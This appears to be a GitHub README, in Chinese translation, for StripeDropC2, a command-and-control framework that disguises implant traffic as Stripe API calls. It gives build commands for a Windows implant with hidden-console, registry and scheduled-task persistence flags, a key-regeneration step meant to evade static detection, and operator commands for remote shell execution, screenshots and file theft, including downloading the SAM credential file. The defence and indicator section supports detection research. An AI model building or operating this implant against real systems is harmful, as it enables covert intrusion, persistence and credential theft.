infosecninja/StripeDropC2

GitHub: infosecninja/StripeDropC2

一个利用 Stripe 支付 API 作为隐蔽通信通道的概念验证 C2 框架,用于演示和评估对云服务流量伪装的检测能力。

Stars: 0 | Forks: 0

# StripeDropC2

StripeDropC2 Logo

一个隐蔽的 Command & Control (C2) 框架,利用 Stripe 的 API 基础设施作为通信通道,通过合法的云服务提供隐蔽性和弹性。

![Language](https://img.shields.io/badge/Language-C%23%20%2F%20Python-blue) ![Platform](https://img.shields.io/badge/Platform-Windows-lightgrey) ![License](https://img.shields.io/badge/License-MIT-green) ## 法律免责声明 **本软件仅供教育和授权的安全研究目的使用。** 未经双方事先同意,使用本软件攻击目标是非法的。开发者不承担任何责任,也不对因使用本程序造成的任何滥用或损害负责。仅在拥有适当书面授权的授权渗透测试或红队交战中使用。 ## 概述 StripeDropC2 是一个概念验证 C2 框架,演示了如何滥用云支付 API 作为隐蔽通信通道。通过将 C2 流量伪装成合法的 Stripe API 调用,它可以逃避传统的网络监控,并与正常的业务流量无缝融合。 ### 主要特性 - **隐蔽通道**:使用 Stripe Customer 对象作为加密消息投放点 - **流量伪装**:所有通信显示为发往 Stripe 的合法 HTTPS API 调用 - **字符串混淆**:编译后的二进制文件中使用 XOR 加密字符串,以逃避静态分析 - **动态配置**:实时调整轮询间隔和隐蔽配置 - **文件传输**:支持分块上传/下载并自动重组 - **屏幕截图**:通过集成 GDI+ 进行远程桌面监控 - **持久化**:多种安装方式(注册表、启动项、计划任务) - **隐蔽模式**:四种配置,从快速响应到最高隐蔽性 - **自我保护**:自动重定位到看似合法的 Windows 路径 ## 演示视频 ### 文件传输(上传/下载) 演示分块文件上传和下载,支持自动重组和进度跟踪。

File Transfer Demo

### 屏幕截图 展示带有自动时间戳和本地存储的远程桌面监控。

Screenshot Capture Demo

### Android 操作端 通过 Termux 从 Android 设备进行完整的 C2 控制 - 展示真正的移动操作能力。

Android Operator Demo

## 架构 ``` ┌─────────────────────┐ ┌──────────────────┐ ┌─────────────────────┐ │ C2 Operator │ │ Stripe API │ │ Target (Implant) │ │ (Python) │◄────────────►│ (Cloud) │◄────────────►│ (C# .NET) │ │ │ │ │ │ │ │ • Issue commands │ HTTPS 443 │ • Customer DB │ HTTPS 443 │ • Execute cmds │ │ • Receive results │ │ • Metadata KV │ │ • File transfers │ │ • File management │ │ • Rate limiting │ │ • Screenshots │ │ • Config control │ │ • Search index │ │ • Persistence │ └─────────────────────┘ └──────────────────┘ └─────────────────────┘ ``` ### 通信流程 1. **心跳**:Implant 每 25-35 秒(可配置)创建/更新一次心跳对象 2. **任务下发**:操作员将命令写入带有 `c2-pending` 标签的 Stripe Customer 对象 3. **通知**:操作员使用待处理任务 ID 更新心跳元数据 4. **执行**:Implant 获取任务,执行命令,并将结果写回 5. **结果获取**:操作员轮询结果并显示输出 ### 数据存储模型 所有数据均存储为带有元数据标签的 Stripe Customer 对象: - `heartbeat` - 带有系统信息的 Implant 签到信标 - `c2-pending` - 等待执行的命令 - `c2-processing` - 正在运行的命令 - `c2-done` - 已完成并附带结果 - `xfer-upload-*` - 文件上传分块及控制 - `xfer-download-*` - 文件下载分块及控制 ## 快速开始 ### 前置条件 **操作端(C2 Server):** - Python 3.8+ - Stripe API 账户(推荐使用测试模式) **目标机(Implant):** - Windows 10/11 - .NET 10.0 runtime(或发布为独立应用) ### 安装说明 1. **克隆代码库:** ``` git clone https://github.com/infosecninja/StripeDropC2.git cd StripeDropC2 ``` **关键提示 - GitHub 工作流:** 该代码库附带占位符加密密钥(全零)。这是出于安全考虑的有意设计。你必须: - 将你自己的 API 密钥添加到 `operator/c2_config.py` 和 `operator/regenerate_key.py` - 运行 `regenerate_key.py` 以生成新的加密并嵌入你的密钥 - **在运行 `regenerate_key.py` 后,绝对不要提交 `implant/Implant.cs`**(它会包含你的加密 API 密钥!) 为了防止意外提交,克隆后请编辑 `.gitignore` 并取消注释: ``` # implant/Implant.cs ``` 2. **设置操作端环境:** ``` pip install stripe ``` 3. **配置 Stripe API 密钥(两个文件都要!):** ``` # 编辑 operator/c2_config.py (第 10 行) nano operator/c2_config.py # 设置: API_KEY = "sk_test_YOUR_KEY_HERE" # 编辑 implant/regenerate_key.py (第 28 行) nano implant/regenerate_key.py # 设置: YOUR_STRIPE_API_KEY = "sk_test_YOUR_KEY_HERE" # 重要提示: 两个文件必须具有相同的 API 密钥! ``` 4. **关键步骤:重新生成 Implant 加密密钥:** ``` cd operator python3 regenerate_key.py cd .. ``` **在每次构建之前你都必须运行此命令!** 这将随机化 `implant/Implant.cs` 中的 XOR 密钥和加密字符串,改变二进制特征以逃避检测。跳过此步骤意味着: - 静态特征将会检测到你的 Implant - 字符串可以从二进制文件中提取出来 - 多次构建将具有相同的特征 5. **构建 Implant:** ``` cd implant # 平衡隐蔽性 (默认 - 推荐用于大多数场景) dotnet publish Implant.csproj -c Release -r win-x64 \ -p:DefineConstants="STEALTH_BALANCED;HIDE_CONSOLE;PERSIST_REGISTRY;ALLOW_DYNAMIC_CONFIG" # 高隐蔽性 (响应较慢,更难检测) dotnet publish Implant.csproj -c Release -r win-x64 \ -p:DefineConstants="STEALTH_HIGH;HIDE_CONSOLE;PERSIST_TASK;ALLOW_DYNAMIC_CONFIG" # 最高隐蔽性 (非常慢,近乎隐形) dotnet publish Implant.csproj -c Release -r win-x64 \ -p:DefineConstants="STEALTH_PARANOID;HIDE_CONSOLE;PERSIST_REGISTRY;ALLOW_DYNAMIC_CONFIG" cd .. ``` 编译后的二进制文件将位于 `bin/Release/net10.0/win-x64/publish/stripe.exe` ## 使用说明 ### 启动操作端 ``` cd operator python3 c2_operator.py ``` ### 操作端命令 #### 会话管理 ``` implants # List all active implants use # Select an implant to interact with info # Show detailed info about current implant ``` #### 命令执行 ``` whoami # Execute any Windows command ipconfig /all # Commands run directly without 'exec' prefix dir C:\Users # Results stream back automatically ``` #### 文件操作 ``` upload local.txt C:\Users\Public\remote.txt # Upload file to target download C:\Windows\System32\config\SAM local_sam.dat # Download from target ``` #### 屏幕截图 ``` screenshot # Capture desktop and auto-save to ./screenshots/ ``` #### 隐蔽配置 ``` config show # Display current implant configuration config preset low # Fast response (2-5s poll, detected easily) config preset balanced # Moderate stealth (5-15s poll, default) config preset high # High stealth (30-60s poll) config preset paranoid # Maximum stealth (120-300s poll) config poll 5000 15000 # Custom poll interval (5-15 seconds) config heartbeat 20 40 # Custom heartbeat interval (20-40 seconds) config reset # Reset to compile-time defaults ``` #### 维护 ``` pending # Show pending commands for current implant clear # Remove all stale Stripe objects exit # Exit operator console ``` ## 构建配置 ### 隐蔽配置 | 配置 | 轮询间隔 | 心跳 | 检测风险 | 响应时间 | |---------|---------------|-----------|----------------|---------------| | **LOW** | 2-5s | 15-30s | 非常高 | 立即 | | **BALANCED** | 5-15s | 25-35s | 中等 | 快速 | | **HIGH** | 30-60s | 120-180s | 低 | 缓慢 | | **PARANOID** | 120-300s | 600-900s | 非常低 | 非常缓慢 | ### 编译时标志 添加到构建命令的 `-p:DefineConstants=""` 中(以分号分隔): **隐蔽配置**(选择一项): - `STEALTH_LOW` - 快速响应,极易被检测 - `STEALTH_BALANCED` - 默认推荐配置 - `STEALTH_HIGH` - 缓慢但隐蔽 - `STEALTH_PARANOID` - 最高隐蔽性,非常慢 **持久化**(可选,可组合): - `PERSIST_REGISTRY` - HKCU Run 键 - `PERSIST_STARTUP` - 启动文件夹快捷方式 - `PERSIST_TASK` - 计划任务(每天上午 9 点) **OpSec**: - `HIDE_CONSOLE` - 无可见窗口(隐蔽操作必需) - `ALLOW_DYNAMIC_CONFIG` - 启用运行时配置更改(推荐) ### 构建命令示例 **开发/测试**(可见控制台,快速轮询): ``` dotnet publish Implant.csproj -c Release -r win-x64 \ -p:DefineConstants="STEALTH_LOW" ``` **实战红队**(隐藏,持久化,均衡隐蔽性): ``` dotnet publish Implant.csproj -c Release -r win-x64 \ -p:DefineConstants="STEALTH_BALANCED;HIDE_CONSOLE;PERSIST_REGISTRY;ALLOW_DYNAMIC_CONFIG" ``` **最高隐蔽**(缓慢但几乎不可见): ``` dotnet publish Implant.csproj -c Release -r win-x64 \ -p:DefineConstants="STEALTH_PARANOID;HIDE_CONSOLE;PERSIST_TASK;PERSIST_REGISTRY;ALLOW_DYNAMIC_CONFIG" ``` ## OpSec 注意事项 ### 优势 - **合法基础设施**:所有流量均发往 Stripe.com(受广泛信任) - **全 HTTPS**:无自定义协议或异常端口 - **云弹性**:无单点故障,全球分布式 - **速率限制**:内置节流防止产生可疑的高请求率 - **字符串混淆**:XOR 加密防止从二进制文件中提取字符串 - **动态重新配置**:无需重新编译即可更改时间间隔 ### 局限性 - **API 密钥暴露**:如果密钥泄露,整个 C2 将被烧毁 - **Stripe 速率限制**:测试模式限制为每秒约 100 个请求 - **账单痕迹**:实时模式会创建财务审计跟踪 - **网络异常**:对于目标组织而言,高频的 Stripe API 调用可能不寻常 - **元数据限制**:每个字段 500 个字符,对于大数据需要分块 ### 最佳实践 1. **始终使用 Stripe 测试模式**进行 C2 操作(无真实扣费) 2. 在每次构建**之前**,使用 `regenerate_key.py` **重新生成 XOR 密钥** 3. **从 BALANCED 配置开始**,根据检测风险进行调整 4. **监控操作员速率限制** - 如有需要,使用 `config preset` 减速 5. **定期清理** - 运行 `clear` 命令移除过期对象 6. **避免可预测的模式** - 内置了抖动计时,但仍需进一步随机化 7. **在隔离环境中测试**后再进行实际部署 ## 检测与防御 ### 妥协指标 (IOCs) **网络:** - 高频向 `api.stripe.com` 发出 HTTPS 请求 - 非金融系统异常使用 Stripe API - 来自与合法支付处理无关的可执行文件的 Stripe API 调用 **主机:** - 位于异常位置的名为 `stripe.exe` 或 `MsMpEng.exe` 的二进制文件 - 注册表项:`HKCU\Software\Microsoft\Windows\CurrentVersion\Run\WindowsSecurityUpdate` - 位于 `%APPDATA%\Microsoft\Windows\WinSxS\MsMpEng.exe` 的文件 - 计划任务:`EdgeUpdateTask` **行为:** - 到 Stripe API 的规律心跳模式 - 带有看起来像加密字节数组的大型元数据操作 - 具有非标准名称(`heartbeat-`,随机 GUID)的 Customer 对象 ### 防御措施 1. **网络监控**:对来自意外进程的 Stripe API 调用发出警报 2. **EDR 规则**:标记进行支付 API 调用的可执行文件 3. **Stripe 仪表板**:监控异常的 Customer 对象创建模式 4. **应用白名单**:仅允许已知支付应用程序访问 Stripe 5. **内存分析**:在进程内存中查找 XOR 解密的字符串 ## 贡献 欢迎各种贡献!请随时提交 pull request 或针对以下内容开启 issue: - 额外的命令实现 - 改进的隐蔽技术 - 更好的错误处理 - 文档改进 - 检测/防御研究 ## 参考与致谢 - Stripe API 文档: - .NET 单文件部署: - C2 隐蔽通道研究:各种 MITRE ATT&CK 技术 ## 许可证 本项目基于 MIT 许可证授权 - 详情请参阅 LICENSE 文件。 ## 教育目的 该工具纯粹出于教育目的和授权安全研究而开发。它演示了: - 创造性地滥用合法云 API 进行 C2 - 现代化的 .NET 恶意软件开发技术 - 基于 Python 的 C2 操作员界面 - 通过合法基础设施进行逃避 - 红队行动安全实践 请负责任地使用,且仅在授权环境中使用。 **专为安全研究人员、渗透测试人员和红队打造** *"藏身的最佳地点就在众目睽睽之下"*
标签:C2框架, DNS 反向解析, IP 地址批量处理, Python, 免杀技术, 多人体追踪, 安全学习资源, 无后门, 暴力破解检测, 流量伪装, 网络信息收集, 逆向工具, 隐蔽通信